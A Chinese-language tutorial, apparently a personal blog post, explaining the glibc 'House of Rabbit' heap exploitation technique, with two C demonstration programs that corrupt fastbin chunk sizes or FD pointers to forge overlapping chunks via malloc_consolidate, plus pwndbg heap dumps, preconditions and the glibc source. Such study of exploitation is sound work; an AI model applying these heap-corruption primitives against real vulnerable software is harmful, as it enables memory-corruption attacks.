0%

House Of Rabbit-原理

House Of Rabbit

House of rabbit 是一种伪造堆块的技术,一般运用在 fastbin attack 中

核心:利用 fastbin consolidate 使 fastbin 中的 fake chunk 合法化

利用点:我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出,而 house of rabbit 就利用了程序在 fastbin consolidate 的时候 ,没有对 size 进行检查

两种常见的利用手段:

  • 修改fastbin chunk的大小:直接构造 overlap chunk,通过 fastbin consolidate 使其合法化
  • 修改FD指针:让 chunk->FD 指向一个 fake chunk,触发 fastbin consolidate 之后让这个 fake chunk 成为一个合法的 chunk(注意一下fake chunk的排列,不然会在consolidate时报错)

House Of Rabbit 利用姿势

修改fastbin chunk的大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(){

unsigned long* chunk1=malloc(0x40);
unsigned long* chunk2=malloc(0x40);
unsigned long* chunk3=malloc(0x10);
unsigned long* chunk4;

free(chunk1);
free(chunk2);
chunk1[-1]=0xa1;
chunk4=malloc(0x1000); // 触发fastbin合并

chunk1[0]="chunk1";
chunk2[0]="chunk2";
chunk3[0]="chunk3";
chunk4[0]="chunk4";

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> telescope 0x55555555b000
00:00000x55555555b000 ◂— 0x0
01:00080x55555555b008 ◂— 0xa1
02:00100x55555555b010 —▸ 0x555555556004 ◂— 0x6300316b6e756863 /* 'chunk1' */
03:00180x55555555b018 —▸ 0x7ffff7dd1c08 (main_arena+232) —▸ 0x7ffff7dd1bf8 (main_arena+216) —▸ 0x7ffff7dd1be8 (main_arena+200) —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— ...
04:00200x55555555b020 ◂— 0x0
... ↓ 3 skipped
08:00400x55555555b040 ◂— 0x0
... ↓ 2 skipped
0b:00580x55555555b058 ◂— 0x51 /* 'Q' */
0c:00600x55555555b060 —▸ 0x55555555600b ◂— 0x6300326b6e756863 /* 'chunk2' */
0d:00680x55555555b068 —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
0e:00700x55555555b070 ◂— 0x0
0f:00780x55555555b078 ◂— 0x0
10:00800x55555555b080 ◂— 0x0
... ↓ 3 skipped
14:00a0│ 0x55555555b0a0 ◂— 0xa0
15:00a8│ 0x55555555b0a8 ◂— 0x20 /* ' ' */
16:00b0│ 0x55555555b0b0 —▸ 0x555555556012 ◂— 0x6300336b6e756863 /* 'chunk3' */
17:00b8│ 0x55555555b0b8 ◂— 0x0
18:00c0│ 0x55555555b0c0 ◂— 0x0
19:00c8│ 0x55555555b0c8 ◂— 0x1011
1a:00d0│ rax 0x55555555b0d0 —▸ 0x555555556019 ◂— 0x100346b6e756863 /* 'chunk4' */
1b:00d8│ 0x55555555b0d8 ◂— 0x0

chunk1辐射的区域:

1
2
3
4
5
In [7]: 0x55555555b000+0xa0
Out[7]: 93824992260256

In [8]: hex(93824992260256)
Out[8]: '0x55555555b0a0'

chunk2辐射的区域:

1
2
3
4
5
In [9]: 0x55555555b050+0x50
Out[9]: 93824992260256

In [10]: hex(93824992260256)
Out[10]: '0x55555555b0a0'

修改FD指针:(如果集齐了这些条件,打Double free肯定优于它)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(){

unsigned long* chunk1=malloc(0x40);
unsigned long* chunk2=malloc(0x100);
unsigned long* chunk3;
unsigned long* chunk4;

chunk1[0]="chunk1";
chunk2[0]="chunk2";
chunk2[1]=0x31; // fake chunk1->size 0x30
chunk2[7]=0x21; // fake chunk2->size 0x20
chunk2[11]=0x21; // fake chunk3->size 0x20
/* P位都必须为'1'(fastbin chunk的P位总是为'1') */
/* 其实这里这样操作不是为了绕过检查,而是为了防止consolidate时报错 */
free(chunk1);
chunk1[0]=chunk2;

chunk3=malloc(5000);
chunk4=malloc(0x20);
chunk3[0]="chunk3";
chunk4[0]="chunk4";

return 0;
}

chunk3=malloc(5000) 执行前:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55555555b000 —▸ 0x55555555b060 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
// 0x55555555b000: chunk1
// 0x55555555b060: chunk2 data(fake chunk1)

强行令 chunk1->FD 指向 chunk2 data(fake chunk1)

chunk3=malloc(5000) 执行后:

1
2
3
4
5
smallbins
// fake chunk1->size:0x30
0x30: 0x55555555b060 —▸ 0x7ffff7dd1b98 (main_arena+120) ◂— 0x55555555b060
// chunk1->size:0x50
0x50: 0x55555555b000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x55555555b000

查看最终的 heap 排列:(“fake chunk1”将会作为“chunk4”被申请)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> telescope 0x55555555b000
00:00000x55555555b000 ◂— 0x0
01:00080x55555555b008 ◂— 0x51 /* 'Q' */
02:00100x55555555b010 —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
03:00180x55555555b018 —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
04:00200x55555555b020 ◂— 0x0
... ↓ 3 skipped
08:00400x55555555b040 ◂— 0x0
09:00480x55555555b048 ◂— 0x0
0a:00500x55555555b050 ◂— 0x50 /* 'P' */
0b:00580x55555555b058 ◂— 0x110
0c:00600x55555555b060 —▸ 0x55555555600b ◂— 0x6300326b6e756863 /* 'chunk2' */
0d:00680x55555555b068 ◂— 0x31 /* fake chunk1->size */
0e:0070│ rax 0x55555555b070 —▸ 0x555555556019 ◂— 0x100346b6e756863 /* 'chunk4' */
0f:00780x55555555b078 —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x55555555c4f0 ◂— ...
10:00800x55555555b080 ◂— 0x0
11:00880x55555555b088 ◂— 0x0
12:00900x55555555b090 ◂— 0x30 /* '0' */
13:00980x55555555b098 ◂— 0x21 /* fake chunk2->size */
14:00a0│ 0x55555555b0a0 ◂— 0x0
... ↓ 2 skipped
17:00b8│ 0x55555555b0b8 ◂— 0x21 /* fake chunk3->size */
..........................
2d:01680x55555555b168 ◂— 0x1391
2e:01700x55555555b170 —▸ 0x555555556012 ◂— 0x6300336b6e756863 /* 'chunk3' */
2f:01780x55555555b178 ◂— 0x0

chunk2 和 chunk4(fake chunk1)明显重叠了

利用条件:

House Of Rabbit 功能很强大,但条件过多并且有替代选项:

  • 修改fastbin chunk的大小(感觉和unlink条件差不多,效果也差不多)
    • 堆溢出(有时off-by-one也利用),可以覆盖 nextchunk->size
    • 可以申请足够大小的 chunk
    • 可以控制 free 的参数
  • 修改FD指针(这种情况不用考虑,因为可以打 Double free,除非特殊情况)
    • 有修改模块,并且有UAF(可以修改 free chunk)
    • 可以申请足够大小的 chunk
    • 可以控制 free 的参数

版本对 House Of Rabbit 的影响

经测试:libc-2.23 ~ libc-2.31 都可以打通

最后挂一下 fastbin consolidate 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;

atomic_store_relaxed (&av->have_fastchunks, false);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/

maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, NULL);
if (p != 0) {
do {
{
unsigned int idx = fastbin_index (chunksize (p));
if ((&fastbin (av, idx)) != fb)
malloc_printerr ("malloc_consolidate(): invalid chunk size");
}

check_inuse_chunk(av, p);
nextp = p->fd;

/* Slightly streamlined version of consolidation code in free() */
size = chunksize (p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);

}
} while (fb++ != maxfb);
}

​ // 反正我没有看出来哪里会导致 consolidate 报错,以后慢慢看把